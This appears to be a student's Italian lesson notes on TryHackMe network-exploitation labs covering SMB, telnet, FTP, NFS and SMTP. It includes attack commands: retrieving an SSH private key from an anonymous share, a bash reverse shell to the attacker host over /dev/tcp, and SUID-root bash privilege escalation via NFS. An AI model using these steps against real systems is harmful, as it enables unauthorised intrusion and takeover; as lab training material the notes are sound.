VDSI Lezione 8

TryHackMe network exploitations basics

Network Services

SMB

nmap sulla macchina, si trovano aperte le porte 139/445 (SMB) e 22 (ssh).

```
enum4linux -a IP
```

per ottenere informazioni generali sul client. c'è una share "profiles" interessanti.
Connettersi in anonimo e ottenere i file nella share

```
smbclient //<ip>/profiles -U anonymous
get "Working From Home Information.txt"
cd .ssh
get id_rsa
exit
```

Modificare permessi della chiave e connettersi con il nome utente trovato nel file .txt

```
sudo chmod 600 id_rsa
ssh cactus@<ip> -i id-rsa
```

Telnet

nmap sulla macchina, si trova aperte la porta 8012 con servizio unknown.

```
telnet <ip> 8012
```

per connettersi alla porta. Si vede che permette di eseguire comandi bash remoti con .RUN e comando bash. Non è visibile l'output. Provare ad eseguire un ping verso la Kali per vedere se si riesce a comunicare

```
sudo tcpdump ip proto \\icmp -i <network interface>
```

Per mettersi in ricezione su un altro terminale. Invece sulla shell telnet

```
.RUN ping <kali ip> -c 1
```

Poi ascolto per reverse shell. Sulla Kali

```
nc -lnvp <port>
```

Invece sulla shell telnet

```
.RUN bash -c "bash -i >& /dev/tcp/<ip>/<port> 0>&1"
```

Reverse shell su: https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-reverse-cheatsheet/

FTP

nmap sulla macchina, si trovano aperte la porta 21(ftp).

Connettersi in anonimo e cercare file con username

```
ftp anonymous@<ip>
get "PUBLIC_INFORMATION.txt"
```

Si trova un utente, ma per connettersi è necessaria la password. Verrà finita dopo la lezione di password cracking

Network Services 2

NFS

nmap sulla macchina, si trova aperte la porta 4019 con nfs e 22 (ssh).

```
showmount -e <ip>
```

Permette di vedere le cartelle esposte da nfs. C'è una cartella home. Montare la cartella con

```
mkdir /tmp/mount
sudo mount -t nfs <ip>:home /tmp/mount -no lock
```

Dentro la cartella home c'è una cartella "cappucino" che sembra la home di un utente e ha le chiavi ssh. Connettersi con ssh

```
ssh cappucino@<ip> -i id_rsa
```

Privilege escalation sfruttando il fatto che non toglie privilegi ai file caricati come root. Procurarsi un file bash e caricarlo in locale dentro la cartella cappucino montata nella nostra macchina. Poi modificare i permessi e l'owner

```
sudo chown root bash
sudo chmod 755 bash
sudo chmod +s bash
```

Poi connettersi tramite ssh ed eseguire il file bash caricato

```
./bash -p
```

SMTP

nmap sulla macchina, si trova aperta la porta 25(smtp).

Enumerazione utenti del server mail

```
smtp_user_enum -U <user_wordlist> -t <ip>
```

Si trova un utente, verrà finita dopo la lezione di password cracking